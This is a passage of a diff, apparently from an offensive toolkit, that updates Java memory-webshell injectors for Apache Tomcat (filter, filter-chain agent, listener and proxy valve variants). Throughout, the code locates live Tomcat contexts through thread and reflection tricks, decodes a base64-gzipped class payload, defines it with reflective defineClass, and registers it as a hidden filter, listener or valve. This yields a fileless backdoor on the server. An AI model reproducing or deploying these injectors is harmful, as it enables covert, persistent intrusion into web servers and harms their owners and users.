MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -154,4 +158,58 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
return index;
|
return index;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+85
-29
@@ -3,25 +3,23 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Date: 2022/11/01
|
* @author pen4uin, ReaJason
|
||||||
* Author: pen4uin
|
|
||||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
|
||||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
*/
|
||||||
public class TomcatFilterInjector {
|
public class TomcatFilterInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
@@ -35,23 +33,55 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public TomcatFilterInjector() {
|
public TomcatFilterInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
List<Object> contexts = getContext();
|
return;
|
||||||
for (Object context : contexts) {
|
|
||||||
Object shell = getShell(context);
|
|
||||||
inject(context, shell);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -60,10 +90,16 @@ public class TomcatFilterInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -80,22 +116,23 @@ public class TomcatFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object shell) throws Exception {
|
public void inject(Object context, Object shell) throws Exception {
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
@@ -139,7 +176,11 @@ public class TomcatFilterInjector {
|
|||||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||||
filterConfigs.put(getClassName(), filterConfig);
|
filterConfigs.put(getClassName(), filterConfig);
|
||||||
System.out.println("filter inject success");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -209,6 +250,21 @@ public class TomcatFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+86
-33
@@ -3,32 +3,19 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Tomcat Listener 注入器
|
|
||||||
* 测试版本:
|
|
||||||
* jdk v1.8.0_275
|
|
||||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
|
||||||
*
|
|
||||||
* @author pen4uin, ReaJason
|
* @author pen4uin, ReaJason
|
||||||
*/
|
*/
|
||||||
public class TomcatListenerInjector {
|
public class TomcatListenerInjector {
|
||||||
|
|
||||||
public TomcatListenerInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -38,8 +25,53 @@ public class TomcatListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public TomcatListenerInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -48,10 +80,16 @@ public class TomcatListenerInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -66,18 +104,19 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -87,26 +126,26 @@ public class TomcatListenerInjector {
|
|||||||
List<Object> listeners = (List<Object>) objects;
|
List<Object> listeners = (List<Object>) objects;
|
||||||
for (Object o : listeners) {
|
for (Object o : listeners) {
|
||||||
if (o.getClass().getName().equals(getClassName())) {
|
if (o.getClass().getName().equals(getClassName())) {
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
listeners.add(listener);
|
listeners.add(listener);
|
||||||
System.out.println("listener inject successful");
|
|
||||||
} else {
|
} else {
|
||||||
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
|
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
|
||||||
for (Object o : arrayList) {
|
for (Object o : arrayList) {
|
||||||
if (o.getClass().getName().equals(getClassName())) {
|
if (o.getClass().getName().equals(getClassName())) {
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
arrayList.add(listener);
|
arrayList.add(listener);
|
||||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
|
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
|
||||||
System.out.println("listener inject successful");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
@@ -152,7 +191,7 @@ public class TomcatListenerInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -195,10 +234,24 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+87
-25
@@ -3,14 +3,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -20,17 +18,52 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
|
|
||||||
private Object rawValve;
|
private Object rawValve;
|
||||||
private Object proxyValve;
|
private Object proxyValve;
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
List<Object> contexts = getContext();
|
return;
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
@@ -57,14 +90,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
return method.invoke(rawValve, args);
|
|
||||||
}
|
}
|
||||||
|
return method.invoke(rawValve, args);
|
||||||
}
|
}
|
||||||
return method.invoke(rawValve, args);
|
return method.invoke(rawValve, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -73,10 +106,16 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -94,15 +133,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -114,13 +155,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
String fieldName = "first";
|
String fieldName = "first";
|
||||||
try {
|
try {
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
rawValve = getFieldValue(pipeline, fieldName);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (rawValve == null) {
|
||||||
fieldName = "basic";
|
fieldName = "basic";
|
||||||
rawValve = getFieldValue(pipeline, fieldName);
|
rawValve = getFieldValue(pipeline, fieldName);
|
||||||
}
|
}
|
||||||
